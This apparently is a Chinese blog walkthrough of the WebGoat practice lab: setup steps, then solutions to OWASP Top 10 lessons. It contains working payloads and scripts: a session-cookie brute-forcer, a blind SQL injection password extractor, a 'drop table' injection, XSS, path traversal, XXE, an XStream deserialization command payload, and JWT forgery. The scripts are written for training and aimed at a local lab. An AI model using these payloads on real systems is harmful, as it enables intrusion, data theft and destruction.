跳到主要内容WebGoat 靶场实战:环境搭建与漏洞解析 | 极客日志Javajava
WebGoat 靶场实战:环境搭建与漏洞解析
WebGoat 靶场实战指南,详解 Windows 与 Docker 环境部署流程。覆盖 HTTP 基础、访问控制、SQL 注入、XSS、JWT 伪造及反序列化等 OWASP Top 10 漏洞原理。结合源码审计与 BurpSuite 抓包技巧,提供可复用的 Payload 构造方案,助力安全技能提升。
蜜桃汽水0 浏览 WebGoat 靶场实战指南
环境搭建
Windows 环境
- 访问官网下载最新 Release:https://github.com/WebGoat/WebGoat/releases
- 使用 JDK 23 在命令行启动服务(指定端口):
java -Dfile.encoding=UTF-8 -jar webgoat-2025.3.jar --webgoat.port=8001 --webwolf.port=8002
- 浏览器访问并注册账号:
Docker 环境
部分课程需要容器与本地时区一致,推荐 Linux 环境下运行。
拉取并运行镜像:
sudo docker run -it -p 8001:8080 -p 8002:9090 -e TZ=Asia/Shanghai webgoat/webgoat
访问应用:
- WebGoat:
http://{宿主机 IP}:8001/WebGoat/
- WebWolf:
http://{宿主机 IP}:8002/WebWolf/
基础介绍
WebWolf 邮件接收
第 3 页要求注册邮箱,格式为 {user}@。登录 WebWolf 平台接收验证码:
HTTP Basics
直接点击 GO 抓包,发现表单请求是 POST 类型,魔术数字在请求体参数 magic_num 中。
HTTP Proxies
排除 WebGoat 服务的 mvc 无关请求,在过滤器里配置隐藏 mvc 类型请求即可。
题目要求:
- 将方法更改为 GET
- 添加标头
x-request-intercepted: true
- 改为发送
changeMe 作为查询字符串参数,值设置为 Requests are tampered easily
开启 BurpSuite 拦截开关,在 Repeater 模块修改后发送,响应表示通过。
Developer Tools
学会使用 F12 浏览器控制台:输入 webgoat.customjs.phoneHome(),填入返回的随机数字。
注意:当前提交该数字后页面无反应属于官方 Bug,已反馈至 GitHub Issue #2102。
CIA Triad
- 机密性:防止未授权访问敏感资源。
- 完整性:保持数据一致性,防止篡改。
- 可用性:授权实体按需访问资源。
(A1) Broken Access Control
Hijack a Session
会话 ID 需满足复杂性和随机性。若 Cookie 可预测,易受暴力攻击。
核心逻辑:
hijack_cookie 格式为 <sequential number>-<unix epoch time>。编号不连续是因为中间有合法用户登录生成了授权 Cookie。
- 快速点击页面的 Access 按钮向
/WebGoat/HijackSession/login 发送请求,获取一系列 hijack_cookie。
- 在 BurpSuite Logger 中查看,找到存在间隔的 Cookie(例如上一个 27,下一个 29,中间缺了 28)。
- 28 即为授权的 Cookie,其时间戳应在 27 和 29 之间。
- 刷新页面或构造脚本遍历时间戳匹配。
import requests
cookie_time = 1752883060712
while cookie_time < 1752883061173:
cookie_time += 1
url = "http://127.0.0.1:8001/WebGoat/HijackSession/login"
data = {"username": "xxx", "password": "xxx"}
cookies = {
"JSESSIONID": "0D774B50FB718E5D0024961920468F3B",
"hijack_cookie": f"5343546305153429928-{cookie_time}"
}
r = requests.post(url, data=data, cookies=cookies)
if "Congratulations" in r.text:
print("Congratulations")
print(cookies)
break
Insecure Direct Object References (IDOR)
许多访问控制问题允许经过身份验证但未经授权的用户攻击。
- 登录后点击 View Profile,查看请求响应,发现多了
role, userId 属性。
- 代码检查路径格式
WebGoat/IDOR/profile/{authUserId}。
- Tom 的 userId 是
2342384,Bill 的是 2342388。
- 修改 URL 中的 userId 即可查看他人资料或修改配置。
{
"userId": "2342388",
"color": "red",
"role": 1
}
Missing Function Level Access Control
- 通过元素定位查找隐藏的
hidden-menu-item 标签。
- 查看代码发现隐藏接口
access-control/users。
- 构造 POST 请求新建 Admin 用户,利用权限提升访问受限接口。
Spoofing an Authentication Cookie
- 用户名转小写 + 10 位随机盐值。
- 反转字符串。
- 十六进制编码。
- Base64 编码。
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import org.apache.commons.lang3.RandomStringUtils;
import org.springframework.security.crypto.codec.Hex;
public class Test {
private static final String SALT = RandomStringUtils.randomAlphabetic(10);
public static String encode(final String value) {
if (value == null) return null;
String encoded = value.toLowerCase() + SALT;
encoded = revert(encoded);
encoded = hexEncode(encoded);
return base64Encode(encoded);
}
private static String revert(final String value) {
return new StringBuilder(value).reverse().toString();
}
private static String hexEncode(final String value) {
char[] encoded = Hex.encode(value.getBytes(StandardCharsets.UTF_8));
return new String(encoded);
}
private static String base64Encode(final String value) {
return Base64.getEncoder().encodeToString(value.getBytes());
}
public static void main(String[] args) {
System.out.println(encode("tom"));
}
}
(A2) Cryptographic Failures
Crypto Basics
Base64 编码不是加密,但常用于传输二进制数据。
XOR 编码解密:
题目未给出密钥,通过源码可知答案是 databasepassword。
import base64
def xor_decrypt(data, key):
if isinstance(key, str):
key_bytes = key.encode('utf-8')
else:
key_bytes = bytes([key])
decrypted = bytearray()
key_length = len(key_bytes)
for i in range(len(data)):
decrypted.append(data[i] ^ key_bytes[i % key_length])
return decrypted
encoded = "Oz4rPj0+LDovPiwsKDAtOw=="
data = base64.b64decode(encoded)
decrypted = xor_decrypt(data, '________________')
print(decrypted.decode('utf-8'))
RSA 签名
openssl rsa -in private.key -modulus
echo -n "<Modulus 值>" | openssl dgst -sign private.key -sha256 | base64
Docker 容器内解密
- 启动容器:
docker run -d webgoat/assignments:findthesecret
- 修改
/etc/passwd 文件 UID/GID 为 0:0。
- 进入容器查看
/root/default_secret。
- 使用 OpenSSL 解密:
echo "U2FsdGVkX1..." | openssl enc -aes-256-cbc -d -a -kfile default_secret
(A3) Injection
SQL Injection (intro)
- 检索员工部门:
Select department from employees Where first_name='Bob' And last_name='Franco'
- 越权查询:
SELECT * FROM user_data WHERE ... or '1'='1'
- 删除记录:
; drop table access_log;--
SQL Injection (advanced)
- 确定长度:
tom' and length(password)>0 --
- 逐位猜测:
tom' and substr(password,1,1)='t
import requests
import string
import time
URL = "http://127.0.0.1:8001/WebGoat/SqlInjectionAdvanced/register"
USERNAME = "tom"
CHARSET = string.ascii_lowercase + string.digits
def check_response(response_text):
return "already exists please try to register with a different username" in response_text
def get_password_length():
length = 0
while True:
payload = f"{USERNAME}' and length(password)>{length}--"
data = {"username_reg": payload, "password_reg": "1", "email_reg": "[email protected]", "confirm_password_reg": 1}
response = requests.put(URL, data=data)
if not check_response(response.text):
break
length += 1
time.sleep(0.1)
return length
def guess_character(position):
for char in CHARSET:
payload = f"{USERNAME}' and substr(password,{position},1)='{char}"
data = {"username_reg": payload, "password_reg": "1", "email_reg": "[email protected]", "confirm_password_reg": 1}
response = requests.put(URL, data=data)
if check_response(response.text):
return char
time.sleep(0.1)
return None
def main():
password_length = get_password_length()
password = ""
for i in range(1, password_length + 1):
char = guess_character(i)
if char:
password += char
print(f"Password: {password}")
if __name__ == "__main__":
main()
SQL Injection (mitigation)
绕过空格过滤:
使用多行注释 /**/ 或双写绕过关键字过滤。
- 绕过空格:
'; union /**/ select ...
- 绕过关键字:
'; seselectlect /**/ frfromom ...
盲注获取 IP:
使用 CASE WHEN 结合排序差异判断字符。
(CASE+WHEN(substring((SELECT+ip+FROM+servers+WHERE+hostname='webgoat-prd'),1,1)='1')+THEN+ip+ELSE+hostname+END)
Cross Site Scripting (XSS)
- 反射型:输入
<script>alert(1)</script>。
- DOM 型:从路由配置寻找漏洞,如
start.mvc#test。
- 存储型:控制台输入函数返回值。
Path Traversal
- 上传文件时修改 Full Name 参数为
../test。
- 检索文件时 URL 编码
../../ 为 %2E%2E%2F%2E%2E%2F。
- 压缩包覆盖:构造恶意 Zip 条目路径包含
../../../../。
(A5) Security Misconfiguration
Cross-Site Request Forgery (CSRF)
- 模拟跨站请求,修改 Host 头。
- 检查 Referer 是否包含 Host,Content-Type 是否为
text/plain。
XXE
- XML 注入:构造 DTD 引用本地文件。
- JSON 注入:修改 Content-Type 为
application/xml。
- 带外检测:上传 hack.dtd 到 WebWolf,触发 OOB 请求。
(A6) Vuln & Outdated Components
Vulnerable Components
<contactclass='dynamic-proxy'><interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface><handlerclass='java.beans.EventHandler'><targetclass='java.lang.ProcessBuilder'><command><string>calc.exe</string></command></target><action>start</action></handler></contact>
(A7) Identity & Auth Failure
Authentication Bypasses
参数名必须包含 secQuestion,但校验只检查 secQuestion0 和 secQuestion1。提交 secQuestion2 等可绕过。
JWT tokens
- 算法篡改:将
alg 改为 none。
- 密钥爆破:使用 Hashcat 破解弱密钥。
- JKU 攻击:指向自定义 JWKS 端点,伪造公钥验证。
import json
import base64
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding
def build_jwks(public_key, kid):
n = public_key.public_numbers().n
e = public_key.public_numbers().e
jwks = {
"keys": [{
"kty": "RSA",
"use": "sig",
"kid": kid,
"n": base64.urlsafe_b64encode(n.to_bytes((n.bit_length() + 7) // 8, 'big')).rstrip(b'='),
"e": base64.urlsafe_b64encode(e.to_bytes((e.bit_length() + 7) // 8, 'big')).rstrip(b'=')
}]
}
return json.dumps(jwks)
Password reset
- 重置链接 Host 头修改为 WebWolf 地址。
- 安全问题答案硬编码在源码中(如颜色映射)。
(A8) Software & Data Integrity
Insecure Deserialization
- 创建
VulnerableTaskHolder 对象。
taskAction 设为 sleep 5 (Linux) 或 ping localhost -n 5 (Windows)。
- Base64 编码后提交。
(A9) Security Logging Failures
Logging Security
- 日志欺骗:利用换行符
插入新日志行。
- 日志泄露:查看服务器日志获取管理员密码。
(A10) Server-side Request Forgery
SSRF
- 修改参数值为
images/jerry.png 或 http://ifconfig.pro。
- 利用内部网络探测。
Client side
Bypass front-end restrictions
HTML tampering
修改 Total 金额为 0,使 QTY * Price > Total + 1 成立。
Challenges
Admin lost password
Without password
SQL 注入登录接口:1' or '1'='1' --。
Admin password reset
- 扫描
.git 目录获取源码。
- 反编译
PasswordResetLink.class。
- 还原密码生成逻辑,构造重置链接。
Without account
HEAD 请求路由到 GET 接口获取 Flag。
相关免费在线工具
- Keycode 信息
查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online
- Escape 与 Native 编解码
JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online
- JavaScript / HTML 格式化
使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online
- JavaScript 压缩与混淆
Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online
- Base64 字符串编码/解码
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
- Base64 文件转换器
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online